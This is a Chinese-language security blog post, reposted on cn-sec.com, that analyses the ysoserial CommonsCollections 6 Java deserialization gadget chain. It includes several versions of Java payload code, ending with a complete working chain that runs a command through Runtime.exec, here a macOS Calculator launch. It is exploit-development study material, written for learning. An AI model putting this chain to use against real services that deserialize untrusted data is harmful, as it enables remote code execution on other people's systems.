『代码审计』ysoserial CommonsCollections 6 反序列化分析(三)

admin 2022年5月13日06:22:56代码审计评论7 views10476字阅读34分55秒阅读模式

点击蓝字  / 关注我们



日期:2022-05-12

作者:ICDAT

介绍:这篇文章主要是跟着java安全漫谈对ysoserial CommonsCollections 6反序列化链分析。


0x00 前言

基于 CommonsCollections 5 的反序列化分析后,跟着 java安全漫谈的 脚步,在之前分析 CommonsCollections 5 的基础上继续分析 CommonsCollections 6

java 安全漫谈中提到的利用链是区别 ysoserial 的。

链条如下:   

 Gadget chain:        ObjectInputStream.readObject()            HashMap.readObject()                HashMap.hash()                    TiedMapEntry.hashcode()                        LazyMap.get()                            ChainedTransformer.transform()                                ConstantTransformer.transform()                                InvokerTransformer.transform()                                    Method.invoke()                                        Class.getMethod()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.getRuntime()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.exec()    Requires:        commons-collections

这个链条同 CommonsCollections 5 相比,不同处是 LazyMap.get()TiedMapEntry 类的利用链不同,使用的是 TiedMapEntry.hashcode() 方法。

0x01 TiedMapEntry.hashcode()

org.apache.commons.collections.keyvalue.TiedMapEntry 类存在 hashcode() 方法,也调用了 TiedMapEntry.getValue() 方法。

『代码审计』ysoserial CommonsCollections 6 反序列化分析(三)

针对这个方法的 paylaod ,可以这么写:

package demos_CommonsCollections_6;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;import java.util.Map;
public class tiedMapDemo { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer chain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, 123); entry.hashcode();
}}

0x02 HashMap.hash()

java.util.HashMap 类存在 HashMap.hash() 方法,其中调用了 key.hashcode()

『代码审计』ysoserial CommonsCollections 6 反序列化分析(三)

那么我们只要在 key 中添加 TiedMapEntry 对象就可以。

因为 hash() 方法为静态方法,在其他类调用的时候,只能使用类名.静态方法名的方式调用,无法使用类对象.方法名的调用,所以修改的代码按照要求来说不会弹窗。

package demos_CommonsCollections_6;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;import java.util.Map;
public class hashMapHashDemo { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer chain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, 123); Map hashMap = new HashMap(); hashMap.put(entry,12313); }}

但是实际上,运行代码后,弹窗了。如果只是本地调试,你会发现去除最后两行代码后也可以弹窗。去重后两行代码,直接运行是不弹窗的。

java 安全漫谈中给出的解释是调试器会在下面调用一些 toString 之类的方法,导致不经意间触发了命令。

而如果我们注释掉最后一行代码,直接运行不弹窗,那么综上所述,问题在于 hashMap.put() 方法,在 put 方法定义处,也发现了 hash() 方法。

『代码审计』ysoserial CommonsCollections 6 反序列化分析(三)

因为我们的代码逻辑没有到需要反序列化的程度,所以这里进行提醒,后续处理,避免弹窗出现两个计算器的情况。

0x03 HashMap.readObject()

java.util.HashMap 类的 readObject 方法,在 mappings > 0 的时候调用了 HashMap 类的 hash() 方法。

『代码审计』ysoserial CommonsCollections 6 反序列化分析(三)

现在逻辑清楚了,那么加入反序列化操作,尝试撰写 payload

package demos_CommonsCollections_6;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import java.io.*;import java.util.HashMap;import java.util.Map;

public class test { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer chain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "123");
Map hashMap = new HashMap(); hashMap.put(entry,"123123");
serialize(hashMap); deserialize(); } public static void serialize(Object obj){ try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (IOException e) { e.printStackTrace(); } } public static void deserialize(){ try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); }catch (Exception e){ e.printStackTrace(); } }}

运行后就会发现,计算器弹窗了,但是代码报错,在 serialize(hashMap); 触发错误。

问题出在之前提到的本地调试时自动调用 toString ,上面的代码在 TiedMapEntry entry = new TiedMapEntry(lazyMap, "123"); 处就被调用了,同时 hashMap.put(entry,"123123"); 也会触发计算器弹窗。

对此的处理是,在进行序列化的时候再传入弹窗的 transformer

这样在自动调用 toString 时不会弹窗,调用 put 方法也不会弹窗。

修改后的代码如下:

package demos_CommonsCollections_6;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;

public class test { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer chain = new ChainedTransformer(fakeTransformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "123");
Map hashMap = new HashMap(); hashMap.put(entry,"123123");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(chain, transformers);
serialize(hashMap); deserialize(); } public static void serialize(Object obj){ try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (IOException e) { e.printStackTrace(); } } public static void deserialize(){ try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); }catch (Exception e){ e.printStackTrace(); } }}

运行没有报错,但是没有计算器弹窗。

调式这段代码,进行 deserializeis.readObject() ,就会发现前面的逻辑正确,但是在执行 laymap.get 时出现了问题。

ObjectInputStream.readObject()            HashMap.readObject()                HashMap.hash()                    TiedMapEntry.hashcode()                        LazyMap.get()

在进行 containsKey() 时,发现在 lazyMap 中发现了 123 这个 key 值,但是我们没有在 lazyMap 里传入这个值,我们只是通过 decorate 进行了初始化。

『代码审计』ysoserial CommonsCollections 6 反序列化分析(三)

经过进一步的调试发现,在 hashMap.put() 方法前, lazyMap的为空 。

『代码审计』ysoserial CommonsCollections 6 反序列化分析(三)

执行完该方法后,已经传入了123作为 key 值。

『代码审计』ysoserial CommonsCollections 6 反序列化分析(三)

这里可以删除123这个 key 值即可。

完整 payload 如下:

package demos_CommonsCollections_6;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;

public class test { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer chain = new ChainedTransformer(fakeTransformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "123");
Map hashMap = new HashMap(); hashMap.put(entry,"123123"); lazyMap.remove("123");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(chain, transformers);

serialize(hashMap); deserialize(); } public static void serialize(Object obj){ try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (IOException e) { e.printStackTrace(); } } public static void deserialize(){ try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); }catch (Exception e){ e.printStackTrace(); } }}

0x04 总结

参考着 java安全漫谈 ,一步步分析的,感觉路途遥远啊。


往期回顾

代码审计丨ysoserial CommonsCollections 5 反序列化分析(一) 

代码审计丨ysoserial CommonsCollections 5 反序列化分析(二)


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『代码审计』ysoserial CommonsCollections 6 反序列化分析(三)

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『代码审计』ysoserial CommonsCollections 6 反序列化分析(三)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月13日06:22:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  『代码审计』ysoserial CommonsCollections 6 反序列化分析(三) https://cn-sec.com/archives/1001724.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: